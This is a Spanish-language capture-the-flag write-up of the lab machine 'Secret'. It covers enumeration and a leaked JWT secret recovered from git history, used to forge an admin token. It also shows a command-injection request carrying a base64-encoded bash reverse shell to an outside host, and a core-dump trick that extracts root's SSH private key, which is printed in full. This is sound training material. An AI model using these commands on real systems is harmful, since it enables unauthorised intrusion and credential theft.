Secret
9 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.120
- Fecha: 30 / 10 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.120 -p 22,80,3000
Nmap scan report for 10.10.11.120
Host is up (0.063s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 15.70 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 3000 (HTTP).
Enumeración web
En el puerto 80 encontramos la documentación de una API. Exactamente lo mismo en el puerto 3000:
Leyendo la documentación, vemos que están utilizando Express JS y MongoDB en Node.js. Además, gestionan la autenticación y autorización mediante JSON Web Token (JWT):
La API tiene las siguientes rutas: /api/user/register
, /api/user/login
y /api/priv
. Algunos ejemplos de peticiones se muestran en las siguientes imágenes:
Parece claro que el vector de ataque estará relacionado con JWT. Podemos intentar utilizar la contraseña mostrada en la documentación para iniciar sesión como dasith
, pero no funciona.
Análisis de código estático
En la página principal, podemos descargar un archivo ZIP con el código fuente de la API:
El archivo ZIP contiene los siguientes archivos:
$ cd local-web
$ tree -I 'node_modules|public'
.
├── index.js
├── model
│ └── user.js
├── package-lock.json
├── package.json
├── routes
│ ├── auth.js
│ ├── forgot.js
│ ├── private.js
│ └── verifytoken.js
├── src
│ ├── routes
│ │ └── web.js
│ └── views
│ ├── 404.ejs
│ ├── doc.ejs
│ └── home.ejs
└── validations.js
5 directories, 13 files
Entonces podemos comenzar a analizar el código. Parece que hay otra ruta, pero solamente accesible por el usuario theadmin
:
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file
const userinfo = { name: req.user }
const name = userinfo.name.name
if (name === 'theadmin') {
const getLogs = `git log --oneline ${file}`
exec(getLogs, (err, output) => {
if (err) {
return res.status(500).send(err)
}
res.json(output)
})
} else {
res.json({
role: {
role: 'you are normal user',
desc: userinfo.name.name
}
})
}
})
Aquí vemos que el parámetro file
es vulnerable a inyección de comandos, ya que se inserta en un comando de sistema sin ninguna validación. Este será el camino dpara acceder a la máquina, pero se necesita un token JWT válido para el usuario theadmin
.
Por otro lado, existe una validación exhaustiva de las tres rutas mencionadas anteriormente:
// register validation
const registerValidation = data => {
const schema = {
name: Joi.string().min(6).required(),
email: Joi.string().min(6).required().email(),
password: Joi.string().min(6).required()
}
return Joi.validate(data, schema)
}
// login validation
const loginValidation = data => {
const schema2 = {
email: Joi.string().min(6).required().email(),
password: Joi.string().min(6).required()
}
return Joi.validate(data, schema2)
}
Por este motivo, no se puede realizar ningún tipo de inyección NoSQL, ya que los parámetros están correctamente validados. Y finalmente, la implementación de JWT es correcta.
En el proyecto podemos ver un archivo .env
con la siguiente imformación:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
La variable TOKEN_SECRET
se utiliza para firmar los tokens JWT. Podemos utilizarlo en la página web, pero no es válido.
Entonces, podemos intentar hacer un ataque de fuerza bruta al secreto utilizando el archivo rockyou.txt
desde Node.js. Curiosamente, si se utiliza el token JWT que se muestra en la documentación de la API, el secreto es example
:
$ node
> const fs = require('fs')
undefined
> const jwt = require('jsonwebtoken')
undefined
> for (const password of fs.readFileSync('rockyou.txt').toString().split('\n')) { try { jwt.verify('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.PFJldSFVDrSoJ-Pg0HOxkGjxQ69gxVO2Kjn7ozw9Crg', password); console.log(password); break } catch (err) { } }
example
undefined
Pero este secreto example
no funciona en la página web. Si tratamos de tralizar fuerza bruta a un token JWT generado por la página web al registrar un usuario e iniciar sesión, no conseguimos el secreto (lo cual quiere decir que no está en rockyou.txt
).
Enumeración del proyecto Git
En el archivo ZIP, hay también una carpeta .git
. Esto se debe a que el proyecto está controlado por un repositorio de Git. Entonces, podemos tratar de ver si hay información sensible en commits anteriores. Por ejemplo, podemos ver el histórico de commits de Git:
$ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
Vemos que el archivo .env
fue modificado en el commit que empieza por 67d8da7a
. Entonces, podemos ver las diferencias existentes entre el commit anterior (el que empieza por de0a46b5
) y la versión actual del proyecto:
$ git diff -p de0a46b5 | grep TOKEN_SECRET
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
Y ahora tenemos este secreto tan largo que debe ser el que se utiliza en la API. Entonces, podemos crear un token JWT utilizando este secreto:
> jwt.sign({ _id: '1337', name: 'theadmin', email: 'root@dasith.works' }, 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiIxMzM3IiwibmFtZSI6InRoZWFkbWluIiwiZW1haWwiOiJyb290QGRhc2l0aC53b3JrcyIsImlhdCI6MTYzNjE0MDg0MX0.1VxXuW13J_naXwUAKEPe5O2EMo5GXljVslevhsg4cCQ'
Acceso a la máquina
En este punto, podemos explotar la vulnerabilidad de inyección de comandos y conseguir una conexión con la máquina. Para ello, podemos utilizar un payload típico de una reverse shell en Bash, pero codificado en Base64 para evitar problemas de caracteres:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Con esto, explotamos la inyección de comandos añadiendo un punto y coma y después el comando (nótese que +
es un espacio en codificación de URL):
$ curl '10.10.11.120/api/logs?file=;+echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiIxMzM3IiwibmFtZSI6InRoZWFkbWluIiwiZW1haWwiOiJyb290QGRhc2l0aC53b3JrcyIsImlhdCI6MTYzNjE0MDg0MX0.1VxXuW13J_naXwUAKEPe5O2EMo5GXljVslevhsg4cCQ'
Y obtenemos acceso a la máquina como usuario dasith
mediante nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.120.
Ncat: Connection from 10.10.11.120:34952.
bash: cannot set terminal process group (1118): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
dasith@secret:~/local-web$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
dasith@secret:~/local-web$ export SHELL=bash
dasith@secret:~/local-web$ export TERM=xterm
dasith@secret:~/local-web$ stty rows 50 columns 158
En este punto, ya podemos capturar la flag user.txt
:
dasith@secret:~/local-web$ cd
dasith@secret:~$ cat user.txt
257020bf6c2e57197510fcb6b5f4726c
Encontrando un binario SUID
Después de enumerar el sistema, encontramos un binario SUID en /opt/count
:
dasith@secret:~$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
Se trata de un binario ELF:
dasith@secret:~$ file /opt/count
/opt/count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped
Si se ejecuta el binario, este nos permite leer archivo como usuario root
, pero no nos muestra el contenido del archivo leído, sino estadísticas del propio archivo (número de líneas, palabras y letras). También podemos listar el contenido de directorios como usuario root
. Después, se puede escribir el resultado en un archivo, pero como usuario dasith
(se degradan privilegios en este punto).
Afortunadamente, tenemos el código fuente del programa en /opt/code.c
:
dasith@secret:~$ ls /opt
code.c count valgrind.log
No parece vulnerable a Buffer Overflow, Format String o Library Hijacking. Pero sí hay algo extraño en estas líneas:
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
Este fragmento de código se ejecuta justo antes de escribir los resultados a un archivo. Esto es un fallo de configuración, ya que si se rompe el proceso, será posible leer los contenidos del coredump como usuario dasith
(que contendrá el archivo leído previamente como root
).
Escalada de privilegios
Utilizando el binario, podemos ver que root
tiene una clave privada id_rsa
para SSH:
dasith@secret:~$ /opt/count
Enter source file/directory name: /root
-rw-r--r-- .viminfo
drwxr-xr-x ..
-rw-r--r-- .bashrc
drwxr-xr-x .local
drwxr-xr-x snap
lrwxrwxrwx .bash_history
drwx------ .config
drwxr-xr-x .pm2
-rw-r--r-- .profile
drwxr-xr-x .vim
drwx------ .
drwx------ .cache
-r-------- root.txt
drwxr-xr-x .npm
drwx------ .ssh
Total entries = 15
Regular files = 4
Directories = 10
Symbolic links = 1
Save results a file? [y/N]:
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/.ssh
drwx------ ..
-rw------- authorized_keys
-rw------- id_rsa
drwx------ .
-rw-r--r-- id_rsa.pub
Total entries = 5
Regular files = 3
Directories = 2
Symbolic links = 0
Save results a file? [y/N]:
Entonces podemos leer este archivo y romper el proceso del programa. Para ello, podemos ponerlo en segundo plano con Control-Z (^Z
) y después utilizar kill -SIGSEGV
indicando el identificador de proceso (PID) listado con ps -a
. Después, traemos el programa al primer plano y vemos el mensaje “Segmentation fault (core dumped)”:
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: y
Path: ^Z
[1]+ Stopped /opt/count
dasith@secret:~$ ps -a | grep count
47330 pts/6 00:00:00 count
dasith@secret:~$ kill -SIGSEGV 47330
dasith@secret:~$ fg
/opt/count
Segmentation fault (core dumped)
Este error genera un archivo en /var/crash
. Utilizando apport-unpack
podemos extraer el archivo CoreDump
y leer el contenido de /root/.ssh/id_rsa
(porque fue el archivo que leímos con /opt/count
):
dasith@secret:~$ ls /var/crash
_opt_count.1000.crash
dasith@secret:~$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/.crash
dasith@secret:~$ ls /tmp/.crash
Architecture Date ExecutablePath ProblemType ProcCwd ProcMaps Signal UserGroups
CoreDump DistroRelease ExecutableTimestamp ProcCmdline ProcEnviron ProcStatus Uname
dasith@secret:~$ strings -n 32 /tmp/.crash/CoreDump
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
Please check if file exists and you have read privilege.
Enter source file/directory name:
Path: esults a file? [y/N]: l words = 45
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
DB_CONNECT=mongodb://127.0.0.1:27017/auth-web
unique_id=4594a417-fb89-4a4a-8936-6a56a15fce32
LESSCLOSE=/usr/bin/lesspipe %s %s
TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
pm_pid_path=/home/dasith/.pm2/pids/index-0.pid
pm_err_log_path=/home/dasith/.pm2/logs/index-error.log
pm_exec_path=/home/dasith/local-web/index.js
pm_out_log_path=/home/dasith/.pm2/logs/index-out.log
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Finalmente, podemos poner la clave en un archivo y conectarnos a la máquina como root
. Y entonces, tenemos la flag root.txt
:
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.10.11.120
root@secret:~# cat /root/root.txt
90fd01f9faa29c802ad279f48224edc8